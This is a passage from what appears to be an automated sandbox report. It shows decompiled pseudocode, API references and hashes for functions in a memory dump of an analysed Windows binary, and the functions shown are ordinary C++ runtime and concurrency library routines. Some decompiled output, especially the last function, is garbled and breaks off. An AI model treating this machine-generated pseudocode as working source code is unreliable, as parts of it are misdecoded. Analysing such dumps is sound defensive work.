						_push(_t136);
						_t137 = _t114;
						E00ADD3BD(_t114, _v92);
						 *_t137 = 0xb19418;
						return _t137;
					} else {
						return _t135;
					}
				} else {
					 *0xb1531c();
					_t130 =  *((intOrPtr*)( *((intOrPtr*)( *_t100 + 8))))();
					__eflags = _t130;
					if(_t130 == 0) {
						 *0xb1531c(_t100);
						_t130 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x10)) + 0x1c)))) + 0x1c))))();
					}
					_t105 = _v12;
					_t141 = _a4;
					_t125 =  *(_t105 + 0x10);
					_t117 = _t105 + 0x20;
					 *(_t105 + 0x10) =  *(_t105 + 0x10) & 0x00000000;
					_v12 = _t117;
					__eflags = _t141 - 1;
					if(_t141 != 1) {
						_v12 = _t117;
					} else {
						 *_t117 = 1;
					}
					E00AEF13B(_t125, _t130);
					_t142 = _t141;
					__eflags = _t142;
					if(_t142 == 0) {
						L17:
						_t86 = E00AEF766(_t130);
					} else {
						__eflags = _t142 != 1;
						if(_t142 != 1) {
							goto L17;
						} else {
							E00ADD8DC( *((intOrPtr*)(_t130 + 0xc)),  *((intOrPtr*)(_t105 + 0xc)), 0xffffffff, 1);
							_t120 = _v12;
							_t86 =  *_t120;
							 *_t120 = 0;
						}
					}
					return _t86;
				}
				goto L25;
			}

0x00aef4cb
0x00aef4cb
0x00aef4ce
0x00aef4d1
0x00aef4d6
0x00aef4d8
0x00aef4dd
0x00aef4ed
0x00aef4f0
0x00aef4f2
0x00aef4f2
0x00aef4f2
0x00aef4f2
0x00000000
0x00aef4f9
0x00aef4e2
0x00000000
0x00aef4e4
0x00aef4e2
0x00aef505
0x00aef508
0x00aef516
0x00aef51b
0x00aef51d
0x00aef51f
0x00aef522
0x00aef523
0x00aef526
0x00aef529
0x00aef52a
0x00aef52b
0x00aef52d
0x00aef5c9
0x00aef5cc
0x00aef5da
0x00aef5df
0x00aef5e1
0x00aef5e9
0x00aef5f0
0x00aef5f8
0x00aef603
0x00aef606
0x00aef609
0x00aef60c
0x00aef611
0x00aef619
0x00aef621
0x00aef623
0x00aef62c
0x00aef62f
0x00aef631
0x00aef639
0x00aef654
0x00aef65c
0x00aef65f
0x00aef661
0x00aef66f
0x00aef67a
0x00aef67f
0x00aef687
0x00aef689
0x00aef68f
0x00aef691
0x00aef696
0x00aef696
0x00aef69c
0x00aef69f
0x00aef6ad
0x00aef6b2
0x00aef6b3
0x00aef6b6
0x00aef6ba
0x00aef6bc
0x00aef6c1
0x00aef6cb
0x00aef663
0x00aef669
0x00aef669
0x00aef533
0x00aef53a
0x00aef544
0x00aef546
0x00aef548
0x00aef55b
0x00aef565
0x00aef565
0x00aef567
0x00aef56a
0x00aef56d
0x00aef570
0x00aef573
0x00aef577
0x00aef57a
0x00aef57d
0x00aef586
0x00aef57f
0x00aef582
0x00aef582
0x00aef58c
0x00aef591
0x00aef591
0x00aef594
0x00aef5b6
0x00aef5b8
0x00aef596
0x00aef596
0x00aef599
0x00000000
0x00aef59b
0x00aef5a5
0x00aef5aa
0x00aef5b2
0x00aef5b2
0x00aef5b2
0x00aef599
0x00aef5c1
0x00aef5c1
0x00000000

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00AEF4E4

Part of subcall function 00AEF7B3: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00AEF217), ref: 00AEF7C3

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00AEF4F9
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AEF508
__CxxThrowException@8.LIBVCRUNTIME ref: 00AEF516
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 00AEF58C
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AEF5CC
__CxxThrowException@8.LIBVCRUNTIME ref: 00AEF5DA

Strings

pContext, xrefs: 00AEF5C4
switchState, xrefs: 00AEF500

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID: pContext$switchState
API String ID: 3151764488-2660820399
Opcode ID: 17f1a3afa135fc3fd6ee84c9113f910d5dea0508bfb7d8e2eddc6f09bdc93753
Instruction ID: 92520850a92c6fff61be1b67eb9b15e6dd2029ead04836cf4d9785593c54ba60
Opcode Fuzzy Hash: 17f1a3afa135fc3fd6ee84c9113f910d5dea0508bfb7d8e2eddc6f09bdc93753
Instruction Fuzzy Hash: 0931D432A00244EFCF14EF65C9859ADB3B5EF94714F258579ED119B281DB70EE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ACFB34, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00ACFB34(intOrPtr __ecx) {
				void* _t34;
				short _t48;
				intOrPtr _t52;
				signed int _t55;
				void* _t57;
				intOrPtr _t61;
				void* _t64;
				void* _t71;

				_push(0x98);
				E00ADAF8B();
				_t52 = __ecx;
				 *((intOrPtr*)(_t64 - 0x4c)) = __ecx;
				 *((intOrPtr*)(_t64 - 0x44)) = E00AFB126(_t57);
				_t34 = E00AC7721(_t71, _t64 - 0x78);
				_t55 = 0xb;
				memcpy(_t64 - 0x40, _t34, _t55 << 2);
				_t61 =  *((intOrPtr*)(_t64 - 0x44));
				_t72 =  *((char*)(_t64 + 0xc));
				 *((intOrPtr*)(_t52 + 8)) = 0;
				 *((intOrPtr*)(_t52 + 0x10)) = 0;
				 *((intOrPtr*)(_t52 + 0x14)) = 0;
				 *((intOrPtr*)(_t64 - 4)) = 0;
				if( *((char*)(_t64 + 0xc)) == 0) {
					 *((intOrPtr*)(_t64 - 0x48)) =  *((intOrPtr*)(_t61 + 8));
				} else {
					 *((intOrPtr*)(_t64 - 0x48)) = 0xb246e6;
				}
				E00AC7721(_t72, _t64 - 0x78);
				 *((intOrPtr*)(_t52 + 8)) = E00AC344F( *((intOrPtr*)(_t64 - 0x48)), 0, _t64 - 0xa4);
				 *((intOrPtr*)(_t52 + 0x10)) = E00AC8BFB(_t52, _t61, 0, "false", 0, _t64 - 0x40);
				 *((intOrPtr*)(_t52 + 0x14)) = E00AC8BFB(_t52, _t61, 0, "true", 0, _t64 - 0x40);
				if( *((char*)(_t64 + 0xc)) == 0) {
					 *((short*)(_t52 + 0xc)) =  *((intOrPtr*)( *((intOrPtr*)(_t61 + 0x30))));
					_t48 =  *((intOrPtr*)( *((intOrPtr*)(_t61 + 0x34))));
				} else {
					 *((short*)(_t52 + 0xc)) = E00AC8BCA(0x2e, 0, _t64 - 0x40);
					_t48 = E00AC8BCA(0x2c, 0, _t64 - 0x40);
				}
				 *((short*)(_t52 + 0xe)) = _t48;
				E00ADAED8();
				return _t48;
			}

0x00acfb34
0x00acfb3e
0x00acfb43
0x00acfb45
0x00acfb4d
0x00acfb54
0x00acfb5c
0x00acfb62
0x00acfb64
0x00acfb69
0x00acfb6d
0x00acfb70
0x00acfb73
0x00acfb76
0x00acfb79
0x00acfb87
0x00acfb7b
0x00acfb7b
0x00acfb7b
0x00acfb8e
0x00acfba6
0x00acfbbb
0x00acfbd0
0x00acfbd7
0x00acfc0a
0x00acfc11
0x00acfbd9
0x00acfbe5
0x00acfbf0
0x00acfbf5
0x00acfbf8
0x00acfbfc
0x00acfc01

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00ACFB3E
__Getcvt.LIBCPMT ref: 00ACFB54
__Getcvt.LIBCPMT ref: 00ACFB8E
_Maklocstr.LIBCPMT ref: 00ACFBB3
_Maklocstr.LIBCPMT ref: 00ACFBC8
_Maklocchr.LIBCPMT ref: 00ACFBE0
_Maklocchr.LIBCPMT ref: 00ACFBF0

Strings

false, xrefs: 00ACFBAE
true, xrefs: 00ACFBC3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: GetcvtMaklocchrMaklocstr$H_prolog3_catch_
String ID: false$true
API String ID: 2314755162-2658103896
Opcode ID: c021ba0fca3a0eb3ac1930caa4f1cba6a7ae272778146e72afbedb34de4e9e8f
Instruction ID: daa16ec8144e5839c21ca12532267705815bd3b8a4fd480aa9653251029e5fc2
Opcode Fuzzy Hash: c021ba0fca3a0eb3ac1930caa4f1cba6a7ae272778146e72afbedb34de4e9e8f
Instruction Fuzzy Hash: AE214BB6D00218EEDB11EFA0C981ADEBBB8FF05710F54406AF9149B202E7709951CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AE4938, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00AE4938(signed int __ebx, intOrPtr* __ecx, void* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v20;
				char _v24;
				void* __edi;
				void* __ebp;
				char* _t19;
				signed int _t27;
				void* _t29;
				intOrPtr* _t31;
				intOrPtr* _t37;
				intOrPtr* _t38;
				void* _t41;

				_t41 = __esi;
				_t31 = __ecx;
				_t27 = __ebx;
				_t37 = __ecx;
				if(_a4 == 0) {
					L9:
					_t31 =  &_v20;
					E00AC3185(_t31, "eventObject");
					_push(0xb3d734);
					_t19 =  &_v20;
					goto L13;
				} else {
					__eflags = _a4 - 0xffffffff;
					if(_a4 == 0xffffffff) {
						goto L9;
					} else {
						__eax = 0;
						_v8 = 0;
						 &_v8 = GetCurrentProcess();
						__eax = GetCurrentProcess();
						__eflags = __eax;
						if(__eflags == 0) {
							__eax = GetLastError();
							__eflags = __eax;
							if(__eax > 0) {
								__ax & 0x0000ffff = __ax & 0x0000ffff | 0x80070000;
								__eflags = __ax & 0x0000ffff | 0x80070000;
							}
							__ecx =  &_v24;
							__eax = E00ADDE2B( &_v24, __eax);
							_push(0xb3ef84);
							__eax =  &_v24;
							L13:
							_push(_t19);
							E00AF1677();
							asm("int3");
							_push(_t37);
							_t38 = _t31;
							if(( *(_t38 + 0x30) & 0x00000004) != 0) {
								__eflags = 0;
								return 0;
							} else {
								_push(_t27);
								asm("lock xadd [edi+0x14], ebx");
								_t29 = (_t27 | 0xffffffff) - 1;
								if(_t29 == 0) {
									 *0xb1531c(_t41);
									 *((intOrPtr*)( *((intOrPtr*)( *_t38 + 0x1c))))();
									E00AE4E55( *((intOrPtr*)(_t38 + 4)), _t38);
								}
								return _t29;
							}
						} else {
							__eax = E00ADA780(__edx, __esi, __eflags);
							__ecx = 0xc;
							__ecx = _v8;
							 *((intOrPtr*)(__eax + 8)) = _v8;
							__ecx = __edi + 0xb8;
							__eax = E00AE2961(__edi + 0xb8, __edx);
							__edi = __eax;
							__esp = __ebp;
							_pop(__ebp);
							return __eax;
						}
					}
				}
			}

0x00ae4938
0x00ae4938
0x00ae4938
0x00ae4943
0x00ae4945
0x00ae4994
0x00ae4999
0x00ae499c
0x00ae49a1
0x00ae49a6
0x00000000
0x00ae4947
0x00ae4947
0x00ae494b
0x00000000
0x00ae494d
0x00ae494d
0x00ae4953
0x00ae495a
0x00ae4964
0x00ae4971
0x00ae4973
0x00ae49ab
0x00ae49b1
0x00ae49b3
0x00ae49b8
0x00ae49b8
0x00ae49b8
0x00ae49be
0x00ae49c1
0x00ae49c6
0x00ae49cb
0x00ae49ce
0x00ae49ce
0x00ae49cf
0x00ae49d4
0x00ae4288
0x00ae4289
0x00ae428f
0x00ae42be
0x00ae42c1
0x00ae4291
0x00ae4291
0x00ae4295
0x00ae429a
0x00ae429b
0x00ae42a5
0x00ae42ad
0x00ae42b3
0x00ae42b8
0x00ae42bd
0x00ae42bd
0x00ae4975
0x00ae4977
0x00ae497c
0x00ae497d
0x00ae4981
0x00ae4984
0x00ae498a
0x00ae498f
0x00ae4990
0x00ae4990
0x00ae4991
0x00ae4991
0x00ae4973
0x00ae494b

APIs

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 00AE495A
GetCurrentProcess.KERNEL32(000000FF,00000000), ref: 00AE4964
DuplicateHandle.KERNEL32(00000000), ref: 00AE496B
SafeRWList.LIBCONCRT ref: 00AE498A

Part of subcall function 00AE2961: __EH_prolog3.LIBCMT ref: 00AE2968
Part of subcall function 00AE2961: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AE2972
Part of subcall function 00AE2961: List.LIBCMT ref: 00AE297C

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE499C
GetLastError.KERNEL32 ref: 00AE49AB
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AE49C1
__CxxThrowException@8.LIBVCRUNTIME ref: 00AE49CF

Strings

eventObject, xrefs: 00AE4994

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorException@8H_prolog3HandleLastLock::_ReaderSafeThrowWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 3870774015-1680012138
Opcode ID: 58106b98f7b085032ac056590fcd47d7beb9c2df48cbed23008baace0effccdc
Instruction ID: c319a209a126c8051fd380fc97fcb1279bd2ff5ae120235283f27ef8b06c209e
Opcode Fuzzy Hash: 58106b98f7b085032ac056590fcd47d7beb9c2df48cbed23008baace0effccdc
Instruction Fuzzy Hash: A0118E71500245EECB14EBA5CD49FEF77BCAB08700F608226B516E61A1DF709A04C661

Uniqueness

Uniqueness Score: -1.00%

Function 00AA6F10, Relevance: 15.1, APIs: 10, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00AA6F10(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, signed char _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v52;
				void* __ebp;
				signed int _t34;
				signed int _t35;
				signed char _t44;
				void* _t58;
				void* _t60;
				intOrPtr _t87;
				void* _t88;
				void* _t89;
				signed int _t90;
				void* _t91;
				intOrPtr _t92;

				_t89 = __esi;
				_t88 = __edi;
				_t60 = __ebx;
				_push(0xffffffff);
				_push(E00B10AA8);
				_push( *[fs:0x0]);
				_t92 = _t91 - 0x24;
				_t34 =  *0xb42074; // 0x80d348a2
				_t35 = _t34 ^ _t90;
				_v20 = _t35;
				_push(_t35);
				 *[fs:0x0] =  &_v16;
				_v32 = __ecx;
				E00AA1480( &_v28, 8);
				E00AA7CD0( &_v28, _v32 + 0x14);
				_v8 = 0;
				if((_a4 & 0x000000ff) != 0) {
					_t87 = _v32;
					_t95 =  *(_t87 + 0x6c) & 0x000000ff;
					if(( *(_t87 + 0x6c) & 0x000000ff) != 0) {
						_t58 = E00AA57F0( &_v52, _t95,  &_v52, 2);
						_t92 = _t92 + 8;
						E00AC2F38(_t95, _t58);
					}
				}
				if((E00AA1390() & 0x000000ff) != 0) {
					_t92 = _t92 - 8;
					_v40 = _t92;
					E00AA12F0(_v32 + 0xc);
					E00AC2F15(_v32 + 0xc);
				}
				 *((char*)(_v32 + 0x6c)) = 1;
				E00AA8AE0(_v32,  &_v28);
				while( *((intOrPtr*)(_v32 + 0x70)) == 0) {
					E00AA27A0(_v32 + 0x44,  &_v28);
				}
				_t44 = E00AA1390();
				_t86 = _t44 & 0x000000ff;
				__eflags = _t44 & 0x000000ff;
				if((_t44 & 0x000000ff) != 0) {
					_v44 = _t92 - 8;
					__eflags = _v32 + 0xc;
					E00AA12F0(_v32 + 0xc);
					E00AC2F15(__eflags);
				}
				_v36 = _v32 + 8;
				_v8 = 0xffffffff;
				E00AA7C80();
				 *[fs:0x0] = _v16;
				__eflags = _v20 ^ _t90;
				return E00ADA4E2(_t60, _v20 ^ _t90, _t86, _t88, _t89);
			}

0x00aa6f10
0x00aa6f10
0x00aa6f10
0x00aa6f13
0x00aa6f15
0x00aa6f20
0x00aa6f21
0x00aa6f24
0x00aa6f29
0x00aa6f2b
0x00aa6f2e
0x00aa6f32
0x00aa6f38
0x00aa6f40
0x00aa6f4f
0x00aa6f54
0x00aa6f61
0x00aa6f63
0x00aa6f6a
0x00aa6f6c
0x00aa6f74
0x00aa6f79
0x00aa6f7d
0x00aa6f7d
0x00aa6f6c
0x00aa6f92
0x00aa6f94
0x00aa6f99
0x00aa6fa3
0x00aa6fa8
0x00aa6fa8
0x00aa6fb0
0x00aa6fbb
0x00aa6fc0
0x00aa6fd3
0x00aa6fd3
0x00aa6fe0
0x00aa6fe5
0x00aa6fe8
0x00aa6fea
0x00aa6ff1
0x00aa6ff7
0x00aa6ffb
0x00aa7000
0x00aa7000
0x00aa700b
0x00aa700e
0x00aa7018
0x00aa7023
0x00aa702e
0x00aa7038

APIs

unique_lock.LIBCONCRTD ref: 00AA6F4F

Part of subcall function 00AA7CD0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7CF4

std::make_error_code.LIBCPMTD ref: 00AA6F74

Part of subcall function 00AA57F0: std::generic_category.LIBCPMTD ref: 00AA57F3
Part of subcall function 00AA57F0: _Smanip.LIBCPMTD ref: 00AA5800

Part of subcall function 00AC2F38: std::future_error::future_error.LIBCPMT ref: 00AC2F49
Part of subcall function 00AC2F38: __CxxThrowException@8.LIBVCRUNTIME ref: 00AC2F57

std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AA6F88
std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AA6FA3
std::_Rethrow_future_exception.LIBCPMT ref: 00AA6FA8
std::condition_variable::wait.LIBCONCRTD ref: 00AA6FD3
std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AA6FE0
std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AA6FFB
std::_Rethrow_future_exception.LIBCPMT ref: 00AA7000
~unique_lock.LIBCONCRTD ref: 00AA7018

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Rethrow_future_exceptionstd::exception_ptr::exception_ptrstd::exception_ptr::~exception_ptr$Exception@8Mutex_baseMutex_base::~_SmanipThrowstd::condition_variable::waitstd::future_error::future_errorstd::generic_categorystd::make_error_codeunique_lock~unique_lock
String ID:
API String ID: 3175910114-0
Opcode ID: 0b6c6b450514523893e7d8da604d55af80a5908dfb939f7205df6f25f6f475fd
Instruction ID: a0d7c3c224ba05b3147426ee249aadede9c5489ecd4c847d198d4111c133345b
Opcode Fuzzy Hash: 0b6c6b450514523893e7d8da604d55af80a5908dfb939f7205df6f25f6f475fd
Instruction Fuzzy Hash: 72313E71D042099BCF08EFA8D952BBFB7B5BF45304F44852DE412A72C2DB38A915CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B01464, Relevance: 15.1, APIs: 10, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00B01464(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0xb1be18;
				if(_t68 != 0xb1be18) {
					E00B00B7F(_t68);
					_t36 = _a4;
				}
				E00B00B7F( *((intOrPtr*)(_t36 + 0x3c)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x30)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x34)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x38)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x28)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x2c)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x40)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x44)));
				E00B00B7F( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E00B012AC(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E00B0130D(_t67, _t72, _t73, _t77);
			}

0x00b01464
0x00b01464
0x00b01464
0x00b01469
0x00b0146f
0x00b01471
0x00b01477
0x00b0147a
0x00b0147f
0x00b01482
0x00b01486
0x00b01491
0x00b0149c
0x00b014a7
0x00b014b2
0x00b014bd
0x00b014c8
0x00b014d3
0x00b014e1
0x00b014ec
0x00b014f4
0x00b014f5
0x00b014f8
0x00b014fe
0x00b01502
0x00b01506
0x00b01507
0x00b01511
0x00b01517
0x00b01518
0x00b0151b
0x00b01521
0x00b01525
0x00b01529
0x00b01532

APIs

_free.LIBCMT ref: 00B0147A

Part of subcall function 00B00B7F: HeapFree.KERNEL32(00000000,00000000,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?), ref: 00B00B95
Part of subcall function 00B00B7F: GetLastError.KERNEL32(?,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?,?), ref: 00B00BA7

_free.LIBCMT ref: 00B01486
_free.LIBCMT ref: 00B01491
_free.LIBCMT ref: 00B0149C
_free.LIBCMT ref: 00B014A7
_free.LIBCMT ref: 00B014B2
_free.LIBCMT ref: 00B014BD
_free.LIBCMT ref: 00B014C8
_free.LIBCMT ref: 00B014D3
_free.LIBCMT ref: 00B014E1

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a949d1c521cf54b52b540562d7f7bcf6b59a350866a5318302724a7df610dd6d
Instruction ID: f4c2c6069591441fb855583921914cd3c077d89cede72afc6770707c29968d73
Opcode Fuzzy Hash: a949d1c521cf54b52b540562d7f7bcf6b59a350866a5318302724a7df610dd6d
Instruction Fuzzy Hash: 8B218576910109AFCB45FF94C882DEE7FF9AF18340F0085A6F9199B161DB31EA548B84

Uniqueness

Uniqueness Score: -1.00%

Function 00AD34E8, Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 301
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00AD34E8(void* __eax, intOrPtr* __ebx, signed int __ecx, signed int __edx, signed int* __esi, void* __eflags) {
				signed char _t110;
				intOrPtr _t115;
				intOrPtr* _t119;
				signed char _t127;
				void* _t132;
				signed char _t142;
				signed int* _t144;
				void* _t145;
				void* _t146;

				_t146 = __eflags;
				_push(ss);
				_push(ss);
				_push(ss);
				_t110 = __eax +  *__ebx + 5;
				_push(ss);
				_push(ss);
				_push(ss);
				_push(es);
				_push(ss);
				_push(ss);
				_push(ss);
				es = ss;
				 *__ecx =  *__ecx | __ecx;
				_t127 = __ecx |  *__ecx;
				_push(ss);
				_push(ss);
				_push(ss);
				_push(ss);
				_push(ss);
				_push(ss);
				 *_t127 =  *_t127 + _t110;
				_push(cs);
				_push(ss);
				_push(ss);
				asm("movups xmm2, [esi]");
				asm("adc [esi], edx");
				asm("adc dl, [esi]");
				asm("adc [esi], dl");
				_push(ss);
				asm("adc edx, [edx-0x1547ef96]");
				 *((intOrPtr*)(_t127 + 0x79bee800)) =  *((intOrPtr*)(_t127 + 0x79bee800)) - __esi;
				 *(_t110 | 0x1601161f) =  *(_t110 | 0x1601161f) + (_t110 | 0x1601161f);
				_t142 = _t127;
				E00AC38CC(_t145 - 0x1c,  *((intOrPtr*)( *((intOrPtr*)(_t145 + 0x1c)) + 0x30)));
				 *(_t145 - 4) =  *(_t145 - 4) & 0x00000000;
				_t115 = E00AC9403(__edx |  *__esi |  *__esi, _t146, _t145 - 0x1c);
				 *(_t145 - 4) =  *(_t145 - 4) | 0xffffffff;
				 *((intOrPtr*)(_t145 - 0x10)) = _t115;
				E00AA1D80(_t145 - 0x1c);
				_t144 =  *(_t145 + 0x20);
				_t132 =  *((char*)(_t145 + 0x28)) + 0xffffffbf;
				 *((intOrPtr*)(_t145 - 0x18)) = 0;
				 *_t144 = 0;
				if(_t132 > 0x38) {
					L38:
					 *_t144 = 2;
					L39:
					if(E00AD5DAA(_t145 + 0xc, _t145 + 0x14) != 0) {
						 *_t144 =  *_t144 | 0x00000001;
					}
					_t119 =  *((intOrPtr*)(_t145 + 8));
					 *_t119 =  *((intOrPtr*)(_t145 + 0xc));
					 *((intOrPtr*)(_t119 + 4)) =  *((intOrPtr*)(_t145 + 0x10));
					E00ADAEB2();
					return _t119;
				}
				switch( *((intOrPtr*)(( *(_t132 + 0xad388b) & 0x000000ff) * 4 +  &M00AD382F))) {
					case 0:
						_t122 = E00AD5E5C(_t142, _t145 - 0x1c,  *((intOrPtr*)(_t145 + 0xc)),  *((intOrPtr*)(_t145 + 0x10)),  *((intOrPtr*)(_t145 + 0x14)),  *((intOrPtr*)(_t145 + 0x18)), _t125, _t144,  *((intOrPtr*)(_t145 + 0x24)));
						goto L3;
					case 1:
						__eax = __ebp - 0x1c;
						__ecx = __edi;
						__eax = E00AD5E24(__ecx, __ebp - 0x1c,  *(__ebp + 0xc),  *((intOrPtr*)(__ebp + 0x10)),  *(__ebp + 0x14),  *((intOrPtr*)(__ebp + 0x18)), __ebx, __esi,  *(__ebp + 0x24));
						goto L3;
					case 2:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
						__eax = E00ACE1E0(__edx, __edi, __ebp + 0xc, __ebp + 0x14, 0, 0x63, __ebp - 0x18,  *((intOrPtr*)(__ebp - 0x10)));
						__ecx =  *__esi;
						__ecx =  *__esi | __eax;
						 *__esi = __ecx;
						__eflags = __cl & 0x00000002;
						if((__cl & 0x00000002) != 0) {
							goto L39;
						} else {
							 *(__ebp - 0x18) =  *(__ebp - 0x18) + 0xffffffed;
							__ecx = ( *(__ebp - 0x18) + 0xffffffed) * 0x64;
							__eflags = __ecx;
							goto L9;
						}
					case 3:
						_push("%m / %d / %y");
						goto L6;
					case 4:
						_push( *((intOrPtr*)(__ebp - 0x10)));
						__eax =  *(__ebp + 0x24);
						__eax =  *(__ebp + 0x24) + 8;
						__eflags = __eax;
						_push(__eax);
						_push(0x17);
						goto L15;
					case 5:
						__ebp - 0x18 = __ebp + 0x14;
						__eax = __ebp + 0xc;
